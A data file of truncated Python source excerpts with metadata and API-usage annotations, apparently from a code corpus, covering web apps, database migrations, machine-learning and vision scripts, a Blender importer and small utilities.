0717a96ab5fe_add_ordering_to_question_and_choice.py
py
969
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.getenv", "line_number": 14, "usage_type": "call" }, { "api_name": "alembic.op.batch_alter_table", "line_number": 25, "usage_type": "call" }, { "api_name": "alembic.op", "line_number": 25, "usage_type": "name" }, { "api_name": "sqlalchemy.Column",...
570959409
#!/usr/bin/env python """ For a DOS-type framework this will export details of all "digital-outcomes" services, including the types of outcome the supplier provides and the locations they can provide them in. Usage: scripts/export-dos-outcomes.py <stage> <framework_slug> <content_path> """ import sys sys.path.ins...
null
scripts/export-dos-outcomes.py
export-dos-outcomes.py
py
2,778
python
en
code
null
code-starcoder2
76
[ { "api_name": "sys.path.insert", "line_number": 11, "usage_type": "call" }, { "api_name": "sys.path", "line_number": 11, "usage_type": "attribute" }, { "api_name": "dmscripts.helpers.framework_helpers.find_suppliers_with_details_and_draft_services", "line_number": 25, "us...
313838542
# encoding: utf-8 from django.shortcuts import render, redirect, get_object_or_404 from django.contrib.auth import logout from django.contrib.auth.decorators import login_required from django.contrib.auth.decorators import login_required,permission_required from django.http import JsonResponse from django.contrib.auth....
null
account/views.py
views.py
py
2,338
python
en
code
null
code-starcoder2
76
[ { "api_name": "django.contrib.auth.models.User.objects.all", "line_number": 15, "usage_type": "call" }, { "api_name": "django.contrib.auth.models.User.objects", "line_number": 15, "usage_type": "attribute" }, { "api_name": "django.contrib.auth.models.User", "line_number": 15,...
581665098
import tensorflow as tf import config_in as cg import connector as con import data as dt import filter_data as fd import model as ml import tokenizer as tk import utility as ut import vocabulary as vc import skipgram as sk import logger as lg #import nn.assist_classifier.scripts.logger as lg import requests import os...
null
assist-modified/assist_classifier/ticket_classification/train_model.py
train_model.py
py
8,614
python
en
code
null
code-starcoder2
76
[ { "api_name": "logger.getLogger", "line_number": 19, "usage_type": "call" }, { "api_name": "config_in.Config", "line_number": 65, "usage_type": "call" }, { "api_name": "data.Data", "line_number": 69, "usage_type": "call" }, { "api_name": "connector.ConfigConnectio...
62457698
from setuptools import setup with open("README.md", "r", encoding="utf-8") as f: long_description = f.read() setup( name="gif", version="3.0.0", description="The extension for matplotlib, Altair, and Plotly animations", long_description=long_description, long_description_content_type="text/mar...
null
setup.py
setup.py
py
1,379
python
en
code
null
code-starcoder2
76
[ { "api_name": "setuptools.setup", "line_number": 6, "usage_type": "call" } ]
143354756
# -*- coding: utf-8 -*- from functools import wraps from flask import jsonify, request, g from cerberus import Validator from bookhouse.models.user import User def auth_required(f): @wraps(f) def wrapper(*args, **kwargs): token = {'token': request.headers.get('token'), } validator = Validator(...
null
bookhouse/main/misc/auth.py
auth.py
py
1,050
python
en
code
null
code-starcoder2
76
[ { "api_name": "flask.request.headers.get", "line_number": 11, "usage_type": "call" }, { "api_name": "flask.request.headers", "line_number": 11, "usage_type": "attribute" }, { "api_name": "flask.request", "line_number": 11, "usage_type": "name" }, { "api_name": "ce...
301348217
import importlib from channels.routing import URLRouter from django.db import close_old_connections from django.urls import path, re_path from .models import Appliance class ApplianceUUIDRouter: """ Routes to different appliance consumers based on UUIDs. """ def __init__(self, appliances_qs): ...
null
chezbob/appliances/routing.py
routing.py
py
1,754
python
en
code
null
code-starcoder2
76
[ { "api_name": "django.db.close_old_connections", "line_number": 19, "usage_type": "call" }, { "api_name": "models.Appliance.DoesNotExist", "line_number": 26, "usage_type": "attribute" }, { "api_name": "models.Appliance", "line_number": 26, "usage_type": "name" }, { ...
221801582
import cv2 import numpy as np import matplotlib.pyplot as plt; import math import pickle def hog(I): R = I[:, :, 0] G = I[:, :, 1] B = I[:, :, 2] # Gradient in particular channels YY, XX, ZZ = I.shape SXY = np.zeros([YY,XX], np.int32) DIR = np.zeros([YY,XX], np.float32) ...
null
skr1.py
skr1.py
py
2,861
python
en
code
null
code-starcoder2
76
[ { "api_name": "numpy.zeros", "line_number": 16, "usage_type": "call" }, { "api_name": "numpy.int32", "line_number": 16, "usage_type": "attribute" }, { "api_name": "numpy.zeros", "line_number": 17, "usage_type": "call" }, { "api_name": "numpy.float32", "line_nu...
604509127
from __future__ import print_function from datetime import datetime from time import time import logging from operator import itemgetter from pymongo import MongoClient import pandas as pd import numpy as np import sys # Extra plotly bits import plotly import plotly.plotly as py import plotly.graph_objs as go # Init ...
null
chart-curvature-app/get-data.py
get-data.py
py
4,830
python
en
code
null
code-starcoder2
76
[ { "api_name": "logging.getLogger", "line_number": 17, "usage_type": "call" }, { "api_name": "time.time", "line_number": 37, "usage_type": "call" }, { "api_name": "pymongo.MongoClient", "line_number": 41, "usage_type": "call" }, { "api_name": "operator.itemgetter",...
246033877
import datetime from time import time #import itertools print('started at:', datetime.datetime.now(), '\n') startTime = time() def timeBetween(timeStart, timeStop): sec = abs(timeStop - timeStart) min = sec//60 sec -= min*60 h = min//60 min -= h*60 days = h//24 h -= days*24 return '{0...
null
euler_034.py
euler_034.py
py
958
python
en
code
null
code-starcoder2
76
[ { "api_name": "datetime.datetime.now", "line_number": 6, "usage_type": "call" }, { "api_name": "datetime.datetime", "line_number": 6, "usage_type": "attribute" }, { "api_name": "time.time", "line_number": 7, "usage_type": "call" }, { "api_name": "time.time", "...
145748449
import cv2 import numpy as np import time cap = cv2. VideoCapture(0) img_counter = 0 x,y,w,h = 100,100,100,100 cap_region_x_begin = 0.4 cap_region_y_end = 0.6 threshold = 60 blurValue = 41 bgSubThreshold = 60 learningRate = 0 isBgCaptured = 1 def remove_background(frame): fgmask = bgModel.apply(frame, learn...
null
app.py
app.py
py
1,657
python
en
code
null
code-starcoder2
76
[ { "api_name": "cv2.VideoCapture", "line_number": 5, "usage_type": "call" }, { "api_name": "numpy.ones", "line_number": 18, "usage_type": "call" }, { "api_name": "numpy.uint8", "line_number": 18, "usage_type": "attribute" }, { "api_name": "cv2.erode", "line_num...
35669985
from flask import (Blueprint, send_from_directory, jsonify) assets = Blueprint('assets', __name__, static_folder='assets') @assets.route('/assets/<path:path>') def serve_assets(path): try: return send_from_directory('assets', path) except Exception: return jsonify('Resource not found'), 404
null
assets.py
assets.py
py
319
python
en
code
null
code-starcoder2
76
[ { "api_name": "flask.Blueprint", "line_number": 3, "usage_type": "call" }, { "api_name": "flask.send_from_directory", "line_number": 9, "usage_type": "call" }, { "api_name": "flask.jsonify", "line_number": 11, "usage_type": "call" } ]
1874182
# ch18_2.py import requests, bs4 url = 'https://zh.wikipedia.org/wiki/%E5%8F%B0%E7%81%A3%E7%A9%8D%E9%AB%94%E9%9B%BB%E8%B7%AF%E8%A3%BD%E9%80%A0' tsmchtml = requests.get(url) objSoup = bs4.BeautifulSoup(tsmchtml.text, 'lxml') tsmc = objSoup.find('tbody') for t in tsmc: col = t.find('th', 'fn org') ...
null
exercise/crawler_python_dm1920/ch18/ch18_2.py
ch18_2.py
py
657
python
en
code
null
code-starcoder2
76
[ { "api_name": "requests.get", "line_number": 5, "usage_type": "call" }, { "api_name": "bs4.BeautifulSoup", "line_number": 6, "usage_type": "call" } ]
466882208
# -*- coding: utf-8 -*- """ 演示二维插值。 """ import numpy as np from IPython import embed from scipy import interpolate import pylab as pl import mpl_toolkits.mplot3d import matplotlib.pyplot as plt if __name__ == '__main__': if 0: x=np.linspace(0,10,11) y=np.sin(x) embed() xnew=np.lins...
null
script/spline_test.py
spline_test.py
py
2,236
python
en
code
null
code-starcoder2
76
[ { "api_name": "numpy.linspace", "line_number": 15, "usage_type": "call" }, { "api_name": "numpy.sin", "line_number": 16, "usage_type": "call" }, { "api_name": "IPython.embed", "line_number": 17, "usage_type": "call" }, { "api_name": "numpy.linspace", "line_num...
454994968
# uncompyle6 version 3.7.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) # [GCC 8.4.0] # Embedded file name: /usr/local/lib/python2.7/site-packages/orlo/util.py # Compiled at: 2017-04-04 09:14:06 from __future__ import print_function, unicode_literals from flask import ...
null
pycfiles/orlo-0.4.3.macosx-10.12-x86_64.tar/util.py
util.py
py
5,543
python
en
code
null
code-starcoder2
76
[ { "api_name": "orlo.orm.db.session.query", "line_number": 27, "usage_type": "call" }, { "api_name": "orlo.orm.Platform", "line_number": 27, "usage_type": "argument" }, { "api_name": "orlo.orm.db.session", "line_number": 27, "usage_type": "attribute" }, { "api_name...
402581187
import copy import gc import os import time import matplotlib import matplotlib.pyplot as plt import numpy as np import torch from matplotlib import ticker from matplotlib.lines import Line2D from tqdm import tqdm from torch_householder import torch_householder_orgqr as orgqr def _resolve(name): return os.path....
null
tests/benchmark.py
benchmark.py
py
9,178
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.path.join", "line_number": 18, "usage_type": "call" }, { "api_name": "os.path", "line_number": 18, "usage_type": "attribute" }, { "api_name": "os.path.dirname", "line_number": 18, "usage_type": "call" }, { "api_name": "os.path.realpath", "lin...
119657779
import tornado.web from db.db import DB from utilities.pretty import pretty import json from utilities.JwtAuth import * @jwtauth class MasterColumnPermissionRoute(tornado.web.RequestHandler): def initialize(self): self.data = {} self.set_header('Content-Type', 'application/json; charset=utf-8') self.set_header('...
null
backend/api/routes/MasterColumnPermissionRoute.py
MasterColumnPermissionRoute.py
py
2,714
python
en
code
null
code-starcoder2
76
[ { "api_name": "tornado.web.web", "line_number": 7, "usage_type": "attribute" }, { "api_name": "tornado.web", "line_number": 7, "usage_type": "name" }, { "api_name": "json.loads", "line_number": 19, "usage_type": "call" }, { "api_name": "db.db.DB", "line_number...
615357815
import torch import numpy as np torch.manual_seed(120) from tqdm import tqdm from pytorch3d.loss import chamfer_distance from NURBSDiff.surf_eval import SurfEval import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from matplotlib import cm import offset_eval as off import sys sys.path.insert(0, 'D:/...
null
examples/surface_offsetting_2Patch_C0.py
surface_offsetting_2Patch_C0.py
py
12,001
python
en
code
null
code-starcoder2
76
[ { "api_name": "torch.manual_seed", "line_number": 3, "usage_type": "call" }, { "api_name": "sys.path.insert", "line_number": 12, "usage_type": "call" }, { "api_name": "sys.path", "line_number": 12, "usage_type": "attribute" }, { "api_name": "numpy.load", "line...
420738702
from django.contrib import admin from django.urls import path from . import views from .views import HomeView, BlogDetailView, AddBlog, UpdateBlog, DeleteBlog, CategoryView, LikeView, AddCat from django.conf import settings from django.conf.urls.static import static urlpatterns = [ # path("", views.home, n...
null
blog/urls.py
urls.py
py
1,519
python
en
code
null
code-starcoder2
76
[ { "api_name": "django.urls.path", "line_number": 10, "usage_type": "call" }, { "api_name": "views.demo_view", "line_number": 10, "usage_type": "attribute" }, { "api_name": "django.urls.path", "line_number": 11, "usage_type": "call" }, { "api_name": "views.ViewPDF....
629170720
""" Create item database. """ import logging import os import re import pydarkstar.logutils import pydarkstar.scrubbing.ffxiah import pydarkstar.itemlist import pydarkstar.options import pydarkstar.common class Options(pydarkstar.options.Options): """ Reads options from config file, then from command line. ...
null
apps/scrub.py
scrub.py
py
4,959
python
en
code
null
code-starcoder2
76
[ { "api_name": "pydarkstar.logutils.options", "line_number": 14, "usage_type": "attribute" }, { "api_name": "pydarkstar.logutils", "line_number": 14, "usage_type": "name" }, { "api_name": "pydarkstar.logutils.logutils.basicConfig", "line_number": 103, "usage_type": "call" ...
352132549
import pygame,sys from pygame.locals import * pygame.init() MYDISPLAY=pygame.display.set_mode((400,200)) MYDISPLAY.fill((255,255,255)) pygame.draw.line(MYDISPLAY,(0,255,0),(50,50),(100,100)) while 1: for event in pygame.event.get(): if event.type==QUIT: pygame.quite() sys.exit() pygam...
null
lesson_pygame/worm.py
worm.py
py
344
python
en
code
null
code-starcoder2
76
[ { "api_name": "pygame.init", "line_number": 3, "usage_type": "call" }, { "api_name": "pygame.display.set_mode", "line_number": 4, "usage_type": "call" }, { "api_name": "pygame.display", "line_number": 4, "usage_type": "attribute" }, { "api_name": "pygame.draw.line...
523949560
import torch import torch.nn as nn import torch.nn.functional as F class UNet3D(nn.Module): def __init__(self, in_channel, n_classes, down_ratio, batchnorm_flag=True): self.in_channel = in_channel self.n_classes = n_classes super(UNet3D, self).__init__() k = down_ratio sel...
null
aicsmlsegment/Net3D/unet_xy_enlarge.py
unet_xy_enlarge.py
py
6,714
python
en
code
null
code-starcoder2
76
[ { "api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute" }, { "api_name": "torch.nn", "line_number": 5, "usage_type": "name" }, { "api_name": "torch.nn.MaxPool3d", "line_number": 18, "usage_type": "call" }, { "api_name": "torch.nn", "line_n...
66108469
import ctk import qt import slicer import vtk import numpy import sitkUtils import SimpleITK as sitk from scipy.interpolate import Rbf from MRTrackingUtils.qcomboboxcatheter import * from MRTrackingUtils.panelbase import * #from scipy.interpolate import griddata #------------------------------------------------------...
null
MRTracking/MRTrackingUtils/surfacemapping.py
surfacemapping.py
py
21,868
python
en
code
null
code-starcoder2
76
[ { "api_name": "qt.QFormLayout", "line_number": 32, "usage_type": "call" }, { "api_name": "slicer.qMRMLNodeComboBox", "line_number": 34, "usage_type": "call" }, { "api_name": "slicer.mrmlScene", "line_number": 42, "usage_type": "attribute" }, { "api_name": "slicer....
68272839
import logging import os from collections import OrderedDict import torch from detectron2.data import DatasetCatalog, MetadataCatalog import detectron2.utils.comm as comm from detectron2.checkpoint import DetectionCheckpointer from detectron2.config import get_cfg from detectron2.data import MetadataCatalog from detec...
null
work_small.py
work_small.py
py
17,245
python
en
code
null
code-starcoder2
76
[ { "api_name": "detectron2.engine.HookBase", "line_number": 43, "usage_type": "name" }, { "api_name": "detectron2.data.build_detection_train_loader", "line_number": 48, "usage_type": "call" }, { "api_name": "torch.no_grad", "line_number": 52, "usage_type": "call" }, { ...
589092880
import pytest from rest_framework import serializers from datahub.search.serializers import SingleOrListField from datahub.search.test.utils import model_has_field_path class TestSingleOrListField: """Tests SingleOrListField.""" def test_single_value_validation(self): """Test that a single value pas...
null
datahub/search/test/test_serializers.py
test_serializers.py
py
2,064
python
en
code
null
code-starcoder2
76
[ { "api_name": "datahub.search.serializers.SingleOrListField", "line_number": 13, "usage_type": "call" }, { "api_name": "rest_framework.serializers.CharField", "line_number": 13, "usage_type": "call" }, { "api_name": "rest_framework.serializers", "line_number": 13, "usage_...
136349288
"""empty message Revision ID: 2bf92dec5fe Revises: None Create Date: 2015-05-08 03:17:02.426976 """ # revision identifiers, used by Alembic. revision = '2bf92dec5fe' down_revision = None from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql def upgrade(): ### commands auto g...
null
migrations/versions/2bf92dec5fe_.py
2bf92dec5fe_.py
py
786
python
en
code
null
code-starcoder2
76
[ { "api_name": "alembic.op.create_table", "line_number": 19, "usage_type": "call" }, { "api_name": "alembic.op", "line_number": 19, "usage_type": "name" }, { "api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call" }, { "api_name": "sqlalchemy.Integ...
162977676
#!/usr/bin/env python # cardinal_pythonlib/datetimefunc.py """ =============================================================================== Original code copyright (C) 2009-2020 Rudolf Cardinal (rudolf@pobox.com). This file is part of cardinal_pythonlib. Licensed under the Apache License, Version 2.0...
null
cardinal_pythonlib/datetimefunc.py
datetimefunc.py
py
30,268
python
en
code
null
code-starcoder2
76
[ { "api_name": "arrow.Arrow", "line_number": 38, "usage_type": "name" }, { "api_name": "dateutil.parser", "line_number": 43, "usage_type": "name" }, { "api_name": "typing.Union", "line_number": 53, "usage_type": "name" }, { "api_name": "datetime.datetime", "lin...
154987225
from itertools import product from typing import List, Tuple, Union from python_tools.advent_of_code.puzzle_runner_helpers import AdventOfCodeProblem, TestCase from python_tools.advent_of_code.y2019_int_code_computer import IntCodeComputer def part_1_solver(part_1_input: List[int]) -> List[int]: input_program, n...
null
AdventOfCode/2019/day2.py
day2.py
py
2,049
python
en
code
null
code-starcoder2
76
[ { "api_name": "typing.List", "line_number": 8, "usage_type": "name" }, { "api_name": "python_tools.advent_of_code.y2019_int_code_computer.IntCodeComputer", "line_number": 15, "usage_type": "call" }, { "api_name": "typing.Tuple", "line_number": 18, "usage_type": "name" }...
339855381
from flask import Blueprint, request, render_template, flash, redirect, url_for from flask import current_app as current_app from flask import Flask from modules import db test = Flask(__name__) @test.route('/', methods=['GET']) def index(): return render_template('dbTest.html', resu...
null
app/test.py
test.py
py
1,876
python
en
code
null
code-starcoder2
76
[ { "api_name": "flask.Flask", "line_number": 8, "usage_type": "call" }, { "api_name": "flask.render_template", "line_number": 13, "usage_type": "call" }, { "api_name": "modules.db.Database", "line_number": 22, "usage_type": "call" }, { "api_name": "modules.db", ...
142252957
import sys sys.path.append('core') import argparse import os import cv2 import glob import numpy as np import torch from PIL import Image from raft import RAFT from utils import flow_viz from utils.utils import InputPadder from io_list import save_list DEVICE = torch.device('cuda' if torch.cuda.is_available() else ...
null
demo.py
demo.py
py
5,412
python
en
code
null
code-starcoder2
76
[ { "api_name": "sys.path.append", "line_number": 2, "usage_type": "call" }, { "api_name": "sys.path", "line_number": 2, "usage_type": "attribute" }, { "api_name": "torch.device", "line_number": 18, "usage_type": "call" }, { "api_name": "torch.cuda.is_available", ...
584942377
#!/usr/bin/env python # -*- coding: utf-8 -*- from typing import Optional import git def amend(message: Optional[str] = None) -> None: """Amend the previous commit with changes made to tracked files. :param message: The commit message to be passed to the git commit command. :note: The previous commit me...
null
src/gitone/amend.py
amend.py
py
698
python
en
code
null
code-starcoder2
76
[ { "api_name": "typing.Optional", "line_number": 8, "usage_type": "name" }, { "api_name": "git.Repo", "line_number": 16, "usage_type": "call" } ]
554778811
import numpy as np import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import time import sys import os sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) import SynthObs import SynthObs.Morph from SynthObs.SED import models from SynthObs.Morph import measure from Syn...
null
HST_mock_SDSS_z7_3ss.py
HST_mock_SDSS_z7_3ss.py
py
11,659
python
en
code
null
code-starcoder2
76
[ { "api_name": "matplotlib.use", "line_number": 3, "usage_type": "call" }, { "api_name": "sys.path.insert", "line_number": 8, "usage_type": "call" }, { "api_name": "sys.path", "line_number": 8, "usage_type": "attribute" }, { "api_name": "os.path.abspath", "line...
479629298
import json from django.shortcuts import render from django.http import JsonResponse, HttpResponse from django.views import View from account.decorator import login_decorator from .models import Restaurant, Menu, FoodType # Create your views here. class RestaurantView(View): def get(self...
null
restaurant/views.py
views.py
py
1,922
python
en
code
null
code-starcoder2
76
[ { "api_name": "django.views.View", "line_number": 13, "usage_type": "name" }, { "api_name": "models.Restaurant.objects.values", "line_number": 16, "usage_type": "call" }, { "api_name": "models.Restaurant.objects", "line_number": 16, "usage_type": "attribute" }, { ...
529966698
import yaml import json import os import datetime from common import CMIP6 indicators = yaml.safe_load(open('indicators.yml')) assets = yaml.safe_load(open('assets.yml')) cmip6 = yaml.safe_load(open('cmip6.yml')) listing_file = 'cmip6_listing.json' if os.path.exists(listing_file): listing = json.load(open(listin...
null
cmip6.py
cmip6.py
py
4,249
python
en
code
null
code-starcoder2
76
[ { "api_name": "yaml.safe_load", "line_number": 7, "usage_type": "call" }, { "api_name": "yaml.safe_load", "line_number": 8, "usage_type": "call" }, { "api_name": "yaml.safe_load", "line_number": 9, "usage_type": "call" }, { "api_name": "os.path.exists", "line_...
299837341
import configparser import os.path import queue import sys import threading import time import traceback import zipfile import yaml from collections import OrderedDict from eu.softfire.integrationtest.main.experiment_manager_client import create_user, upload_experiment, \ delete_experiment, deploy_experiment, get_...
null
eu/softfire/integrationtest/main/integration_test.py
integration_test.py
py
14,170
python
en
code
null
code-starcoder2
76
[ { "api_name": "eu.softfire.integrationtest.utils.utils.get_logger", "line_number": 20, "usage_type": "call" }, { "api_name": "collections.OrderedDict", "line_number": 36, "usage_type": "call" }, { "api_name": "eu.softfire.integrationtest.utils.utils.get_config_value", "line_n...
495555123
import rospy import ros_numpy as rnp import numpy as np from tf.transformations import quaternion_multiply, quaternion_conjugate, unit_vector from ar_track_alvar_msgs.msg import AlvarMarkers from geometry_msgs.msg import PoseStamped, Point # from typing import Tuple from src.util.scripts.util import PublisherValue __...
null
src/util/scripts/ar_tag.py
ar_tag.py
py
4,853
python
en
code
null
code-starcoder2
76
[ { "api_name": "tf.transformations.quaternion_multiply", "line_number": 17, "usage_type": "call" }, { "api_name": "tf.transformations.quaternion_conjugate", "line_number": 17, "usage_type": "call" }, { "api_name": "geometry_msgs.msg.PoseStamped", "line_number": 21, "usage_...
254990403
import json import re from pprint import pformat import requests import pygit2 from trac.config import Option, IntOption from trac.core import implements from trac.notification.api import NotificationSystem from trac.ticket.api import ITicketChangeListener from trac.ticket.model import Ticket from trac.ticket.notifi...
null
sage_trac/gitlab.py
gitlab.py
py
19,026
python
en
code
null
code-starcoder2
76
[ { "api_name": "common.GitBase", "line_number": 22, "usage_type": "name" }, { "api_name": "trac.core.implements", "line_number": 29, "usage_type": "call" }, { "api_name": "trac.web.api.IRequestHandler", "line_number": 29, "usage_type": "argument" }, { "api_name": "...
422573291
from app import db from flask import Flask, render_template, make_response, jsonify from flask_sqlalchemy import SQLAlchemy from flask_socketio import SocketIO import json from marshmallow_sqlalchemy import ModelSchema from marshmallow import fields class Restaurants(db.Model): __tablename__ = "restaurants" id = d...
null
app/db_init.py
db_init.py
py
1,817
python
en
code
null
code-starcoder2
76
[ { "api_name": "app.db.Model", "line_number": 9, "usage_type": "attribute" }, { "api_name": "app.db", "line_number": 9, "usage_type": "name" }, { "api_name": "app.db.Column", "line_number": 11, "usage_type": "call" }, { "api_name": "app.db", "line_number": 11, ...
364559309
bl_info = { "name": "NoLimits CSV Importer", "author": "Ercan Akyürek", "version": (0,1,1), "blender": (2, 61, 0), "location": "Tools > NoLimits CSV Importer", "description": "Generate a spline from NoLimit CSV file", "wiki_url": "https://github.com/geforcefan/BlenderNoLimitsCSVImporter", ...
null
All_In_One/addons/nolimits_csv_importer.py
nolimits_csv_importer.py
py
3,666
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.path.splitext", "line_number": 29, "usage_type": "call" }, { "api_name": "os.path", "line_number": 29, "usage_type": "attribute" }, { "api_name": "os.path.basename", "line_number": 29, "usage_type": "call" }, { "api_name": "bpy.data.curves.new", ...
86143766
import cv2 import numpy from time import time from math import sin, cos, sqrt from utils import debug, save_image from base import FeatureExtractorThread from corner import CornerExtractorThread def adaptive_non_maximal_suppression(keypoints, number, robustness): suppressed = [] length = len(keypoints) f...
null
mops.py
mops.py
py
5,346
python
en
code
null
code-starcoder2
76
[ { "api_name": "numpy.iinfo", "line_number": 16, "usage_type": "call" }, { "api_name": "numpy.int32", "line_number": 16, "usage_type": "attribute" }, { "api_name": "math.sqrt", "line_number": 21, "usage_type": "call" }, { "api_name": "numpy.float32", "line_numb...
205393017
from swap.db.db import Collection import swap.utils.parsers as parsers import swap.config as config import swap.utils.scores import sys import csv from pymongo import IndexModel, ASCENDING, UpdateOne import logging logger = logging.getLogger(__name__) class Subjects(Collection): @staticmethod def _collect...
null
swap/db/subjects.py
subjects.py
py
7,094
python
en
code
null
code-starcoder2
76
[ { "api_name": "logging.getLogger", "line_number": 12, "usage_type": "call" }, { "api_name": "swap.db.db.Collection", "line_number": 15, "usage_type": "name" }, { "api_name": "swap.config.parser", "line_number": 23, "usage_type": "attribute" }, { "api_name": "swap....
505139210
import requests import json import subprocess def main(): url = "http://localhost:8080/jsonrpc" headers = {'content-type': 'application/json'} q = subprocess.run(["fortune", "futurama"], stdout=subprocess.PIPE) d = q.stdout.decode("utf-8") # Example echo method payload = { "method": "...
null
rpc-cowsay-client.py
rpc-cowsay-client.py
py
635
python
en
code
null
code-starcoder2
76
[ { "api_name": "subprocess.run", "line_number": 10, "usage_type": "call" }, { "api_name": "subprocess.PIPE", "line_number": 10, "usage_type": "attribute" }, { "api_name": "requests.post", "line_number": 19, "usage_type": "call" }, { "api_name": "json.dumps", "l...
266305100
import os import subprocess import ast import time import sys from tqdm import tqdm import socket from Cryptodome.Cipher import AES from Cryptodome.Random import get_random_bytes from Cryptodome.Hash import SHA256 from Cryptodome.PublicKey import RSA from Cryptodome.Signature import pkcs1_15 SERVER_IP = "0.0.0.0" PO...
null
analysis/alice/server.py
server.py
py
2,770
python
en
code
null
code-starcoder2
76
[ { "api_name": "socket.socket", "line_number": 21, "usage_type": "call" }, { "api_name": "socket.AF_INET", "line_number": 21, "usage_type": "attribute" }, { "api_name": "socket.SOCK_STREAM", "line_number": 21, "usage_type": "attribute" }, { "api_name": "Cryptodome....
357409598
import os import xml.etree.ElementTree as et from datetime import datetime, timezone import re class Parser: """ this class implements a parser which parses the test and coverage results. """ def __init__(self, db, directory): """ init a parser object :param db: the DB which wi...
null
Main/Parser/Parser.py
Parser.py
py
5,080
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.path.join", "line_number": 28, "usage_type": "call" }, { "api_name": "os.path", "line_number": 28, "usage_type": "attribute" }, { "api_name": "xml.etree.ElementTree.parse", "line_number": 29, "usage_type": "call" }, { "api_name": "xml.etree.Eleme...
53578774
""" Created on Mon Nov 23 9:00:07 2020 @author: Briana Santo """ import numpy as np import skimage as sk import scipy as sp import cv2 from skimage import color from skimage.transform import resize def get_wsi_mask(image,wsi_glom_mask): wsi_mask = color.rgb2gray(image) wsi_mask = wsi_mask<(wsi_m...
null
histomicstk/BAS_folder_human/get_wsi_mask.py
get_wsi_mask.py
py
1,153
python
en
code
null
code-starcoder2
76
[ { "api_name": "skimage.color.rgb2gray", "line_number": 14, "usage_type": "call" }, { "api_name": "skimage.color", "line_number": 14, "usage_type": "name" }, { "api_name": "scipy.ndimage.morphology.binary_fill_holes", "line_number": 16, "usage_type": "call" }, { "a...
57957769
# -*- coding: utf-8 -*- import scrapy import json import re from datetime import datetime from lianjia.items import SecondHandHouseItem class SecondHandHouseSpider(scrapy.Spider): """This class used to crawl second-hand houses in all cities.""" name = 'second_hand_house' allowed_domains = ['lianjia.com'] ...
null
lianjia/spiders/second_hand_house.py
second_hand_house.py
py
5,103
python
en
code
null
code-starcoder2
76
[ { "api_name": "scrapy.Spider", "line_number": 9, "usage_type": "attribute" }, { "api_name": "scrapy.Request", "line_number": 16, "usage_type": "call" }, { "api_name": "re.match", "line_number": 22, "usage_type": "call" }, { "api_name": "scrapy.Request", "line_...
533682954
""" Content-Type header validators to use in the mock. """ from typing import Dict from requests_mock import POST, PUT from mock_vws._services_validators.exceptions import AuthenticationFailure def validate_content_type_header_given( request_headers: Dict[str, str], request_method: str, ) -> None: """ ...
null
src/mock_vws/_services_validators/content_type_validators.py
content_type_validators.py
py
850
python
en
code
null
code-starcoder2
76
[ { "api_name": "typing.Dict", "line_number": 13, "usage_type": "name" }, { "api_name": "requests_mock.POST", "line_number": 27, "usage_type": "name" }, { "api_name": "requests_mock.PUT", "line_number": 27, "usage_type": "name" }, { "api_name": "mock_vws._services_v...
67263087
### ### Settings ### import sys import ConfigParser import traceback from datetime import datetime from lib.utils.DefaultConfigParser import DefaultConfigParser from lib.utils.FileUtils import FileUtils from lib.core.Constants import * from lib.core.Toolbox import Toolbox from lib.core.Tool import Tool class Setting...
null
lib/core/Settings.py
Settings.py
py
10,619
python
en
code
null
code-starcoder2
76
[ { "api_name": "lib.core.Toolbox.Toolbox", "line_number": 31, "usage_type": "call" }, { "api_name": "lib.utils.FileUtils.FileUtils.is_dir", "line_number": 34, "usage_type": "call" }, { "api_name": "lib.utils.FileUtils.FileUtils", "line_number": 34, "usage_type": "name" }...
385796475
#!/usr/bin/env python # -*- coding: utf-8 -*- # ============================================================================= ## @file integral.py # Simple wrapper over scipy integration in a spirit of derivative.py # - In case scipy is not available, it provides a reasonable replacement # @author Vanya BELYAEV Iv...
null
ostap/math/integral.py
integral.py
py
13,365
python
en
code
null
code-starcoder2
76
[ { "api_name": "ostap.logger.logger.getLogger", "line_number": 44, "usage_type": "call" }, { "api_name": "ostap.logger.logger.getLogger", "line_number": 45, "usage_type": "call" }, { "api_name": "warnings.warn", "line_number": 136, "usage_type": "call" }, { "api_na...